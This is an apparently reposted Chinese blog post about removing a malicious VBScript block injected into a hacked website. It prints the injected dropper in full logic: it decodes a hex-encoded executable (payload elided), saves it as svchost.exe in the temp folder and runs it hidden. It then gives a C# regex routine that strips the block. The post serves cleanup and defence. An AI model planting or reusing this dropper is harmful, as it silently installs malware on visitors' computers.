博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
替换已xx开头已yy结尾的正则
阅读量:6042 次
发布时间:2019-06-20

本文共 1184 字,大约阅读时间需要 3 分钟。

网站被挂马了 ,挂马的形式千奇百怪

<SCRIPT Language=VBScript><!--

DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000....(此处省略一万字)”

Set FSO = CreateObject("Scripting.FileSystemObject")

DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

 

用正则去把这段标签替换为空 

 

public static bool checkStr(string path)

{
bool flag = false;
var res = string.Empty;
var regex = new Regex(@"<SCRIPT Language=VBScript>([\s\S]*)</SCRIPT>", RegexOptions.IgnoreCase);
using (StreamReader sr = File.OpenText(path))
{
res = sr.ReadToEnd();
}
if (regex.IsMatch(res))
{
res = regex.Replace(res, " ");
Console.WriteLine("清理成功");
flag = true;
WriteFile(path, res);
}
return flag;
}
以上用的是C#语言

转载于:https://www.cnblogs.com/Leesttee/p/7567428.html

你可能感兴趣的文章
江南Style是怎么把youtobe的计数器弄坏的
查看>>
如何用C#开发的计算器小软件
查看>>
[unity3d]汽车的开关门动画播放
查看>>
网页前端开发的现状
查看>>
Test
查看>>
短视频App源码:如何搭建短视频社区
查看>>
使用gitbook editor管理个人笔记/制作PDF电子书
查看>>
《Kotlin 极简教程》第15章 Kotlin 文件IO操作与多线程
查看>>
Windows中常见进程详解
查看>>
apl脚本入门-变量
查看>>
从Oracle迁移到MySQL的各种坑及自救方案
查看>>
巧用group by替代 distinct【记录一次sql之旅】
查看>>
linux下xxd以16进制显示二进制文件内容
查看>>
@Transactional 类事务说明机制
查看>>
python命名规则
查看>>
没事无聊写S2H玩,遇到乱码问题。。。
查看>>
Spring MVC JAR 包
查看>>
CentOS 7 安装NFS服务端和客户端
查看>>
Linux 修改 yum 本地源
查看>>
spring DataSourceUtils
查看>>